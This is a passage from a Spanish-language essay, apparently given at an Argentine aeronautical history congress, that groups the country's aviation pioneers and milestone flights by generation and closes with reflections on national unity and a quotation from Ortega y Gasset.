d) En los inicios de nuestra aeronáutica, la presencia de pilotos y misiones extranjeras es de origen europeo: Italia, Francia y Alemania. A estos dos últimos países pertenecen los pioneros de vuelo sobre la Patagonia. Ausencia de estadounidenses en los comienzos, salvo aviadores navales que se capacitaron en Pensacola (Florida) y luego en Europa (Inglaterra, Francia e Italia).

e) El Teniente General ingeniero Juan Pistarini (creador del Aeropuerto de Ezeiza), el Mayor ingeniero Francisco de Arteaga (de la Fábrica Militar de Aviones), el ingeniero Ambrosio L. Taravella y Pablo Castaibert son los primeros en fabricar aviones en el país, y pertenecen a la misma generación (la IX, 1873-1887). Se les asocian Anasagasti, constructor de automóviles, y el Capitán de Fragata Hugo Walkendorf (1887), que fabricó en Punta Indio unos cuarenta Keystone Pelican.

f) En 1940, luego de treinta años de servicios, Marcos Zar pasó a retiro: dos generaciones alentando y dirigiendo la Aviación Naval. Algo similar puede decirse del Brigadier Ángel María Zuloaga, retirado en 1945.

g) Del primer vuelo en la Antártida (Teniente de Fragata Eduardo Lanusse, 1942) al primer vuelo en el día entre Buenos Aires y la Antártida (Capitán de Navío Justiniano Martínez Achával, 1957) pasaron quince años, una generación. De aquel primer vuelo en la Antártida al transpolar del Brigadier General Héctor L. Fautario (1973) pasaron 31 años, dos generaciones. Del primer vuelo con acuatizaje (Capitán de Navío Pedro E. Iraolagoitía, con los pilotos Capitán de Navío Edgardo S. Andrew y Capitán de Fragata Guillermo Campbell, 1952) a la creación de la Base Aérea Vicecomodoro Marambio, diecisiete años, algo más de una generación. Los primeros vuelos antárticos o sobre Malvinas fueron realizados por aviadores de la Generación XI.

h) Tanto Hermes Quijada, Mario L. Olezza y Jorge E. Leal, miembros de las tres Fuerzas Armadas que llegaron al Polo Sur, como el Brigadier General Héctor L. Fautario, que realizó el primer viaje transpolar tricontinental, son de la misma generación, la XII.

i) Entre el viaje transpolar del Vicecomodoro Mario Olezza (1965) y el comercial de un Boeing 707 de Aerolíneas Argentinas del comandante Hilario Alcides Valinotti (1980), transcurrieron quince años, una generación. Sin embargo, ambos pertenecen a la misma, la XII. Y más aún, abre esa generación el Vicecomodoro Marambio (1918) y la cierra el comandante Valinotti (1932). Allí está incluido Héctor L. Fautario, que realizó el primer vuelo transpolar. Acaso debamos bautizarla como la “Generación Aeronáutica de la Antártica”.

j) Del primer vuelo a Malvinas (Capitán de Navío Salustiano Mediavilla, 1940) al primer vuelo aerocomercial (LADE, 1972) pasaron 32 años, dos generaciones.

k) Los aviadores Antonio Parodi, Pedro Zanni y Marcos Zar pertenecen a una misma generación (la X), y fueron tan estimados por la ciudadanía que Santos Aschieri les dedicó un tango: El Trío.

l) Los tres grandes paracaidistas: José Ignacio Izquierdo, Vicente González y Vicente Bonvisutto pertenecen a la Generación XI.

m) Los primeros en batir la velocidad del sonido: Vicecomodoro Edmundo O. Weiss y Almirante Rafael J. Serra pertenecen a la misma generación (la XII).

n) Las Generaciones XIII y XIV nos dieron en Malvinas nuevos héroes para el Panteón Nacional. Acaso debamos llamarlas las “Generaciones de las Malvinas”.

ñ)   Entre el General de División Agustín P. Justo y Carlos S. Menem, ambos presidentes y pilotos de avión, hay cuatro generaciones; acaso un ciclo completo de 60 años.

o) La mujer acompañó desde la primera hora el nacimiento de la aviación, sobre todo, cuando tenía carácter deportivo y de aventura. El exceso de tecnología mecánica –su complejidad– la fue alejando y, en especial, su orientación casi exclusivamente militar. Pero, aun así, aprendió a volar antes de obtener el registro de conducir automóviles. De Amalia Figueredo a Débora Pontecorvo transcurrieron seis generaciones.

p) Catorce años después de haber desactivado el misil Cóndor II, la Argentina probó nuevamente un cohete en Bahía Blanca en julio de 2007. En una misma generación se encuentran el Contralmirante Julio M. Pérez, el Comodoro Miguel V. Guerrero, Augusto Ulderico Cicaré y Conrado Varotto pertenecientes a una nueva camada de creadores.

Dejo a los historiadores aeronáuticos buscar otras coincidencias transgeneracionales.

No hay individuos solos, sino personas actuando dentro de generaciones; por eso, la comprensión de ellas mejora la interpretación de los hechos históricos. Tal vez permita alcanzar una cierta convivencia entre ellas, evitando conflictos y obteniendo una manera de sucederse entre sí, pacífica y armónicamente. Una alianza de clases sin una alianza de generaciones sería imposible. Una tercera derivación es la posibilidad de encarar tareas prospectivas. Hay generaciones que tienen conciencia de sí, sienten que poseen una misión, un especial llamado de la Historia. A otras, en cambio, hay que clarificarles su posible papel, y prepararlas para asumir el que le cabe en su transitar.

La educación y el servicio militar conjugaron, a comienzos del siglo XX, una unidad de población tal, que nunca hubo discriminación racial o religiosa alguna, contó con un pasado común y tuvo confianza en un gran porvenir; entonces, apuntamos a ser Nación. Llegamos a ser la octava potencia de la época. En tiempos de decadencia, prevalece la desunión más que la crisis económica. Las FF.AA. recelaron entre sí y hasta llegaron a enfrentarse. Los argentinos no nos ponemos de acuerdo con el presente ni con el pasado. El revisionismo histórico comenzó como una búsqueda de la verdad y terminó con inevitables anteojeras ideológicas que lo socavan, e instauran todo tipo de suspicacias sobre los próceres y hechos históricos. Algunos lucran con ello.

La endémica desunión entre los argentinos y el maniqueísmo que nos caracteriza nos han distraído de modo tal que en el siglo XIX hemos perdido parte de nuestro territorio; y en el siglo XX, hemos pasado los sesenta últimos años sin situarnos en el mundo. Hemos perdido la Segunda Guerra Mundial y rechazamos la globalización. A dos siglos de nuestra Independencia, reencausar la Nación y hacer crecer la República es la Mayor responsabilidad de las generaciones reinantes o venideras. Por eso, cerramos citando al mismo Ortega y Gasset e invitamos a todos a sumar esfuerzos:

“¡Argentinos! ¡A las cosas, a las cosas! Déjense de cuestiones previas personales, de suspicacias, de narcisismos. No presumen ustedes el brinco magnífico que dará este país el día que sus hombres se resuelvan de una vez, bravamente, a abrirse el pecho a las cosas, a ocuparse y preocuparse de ellas directamente y sin más, en vez de vivir a la defensiva, de tener trabadas y paralizadas sus potencias espirituales, que son egregias, su curiosidad, su perspicacia, su claridad mental secuestradas por los complejos de lo personal”.

Meditación del pueblo joven ■

BIBLIOGRAFÍA

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(*) Profesor de Filosofía y Pedagogía. Licenciado en Metodología de la Investigación (UB). Doctor en Psicología (UJFK). Ex profesor y jefe del Gabinete Psicopedagógico de la Escuela Naval Militar. En 2009 fue distinguido por el Centro Naval con el premio “Dr. José Collo” por su artículo Juvenilias Navales. En 2005 fue premiado por su ensayo histórico Faldas a bordo. Historia de las mujeres que navegaron. Obtuvo el premio “Domingo Faustino Sarmiento”, otorgado por el Centro Naval en 1995, 1997 y 1999, por sus trabajos sobre educación, liderazgo y psicología social. El presente trabajo fue expuesto en el II Congreso de Historia Aeronáutica Argentina, organizado por la DEH en 2012.

 

Fuente: https://www.faa.mil.ar

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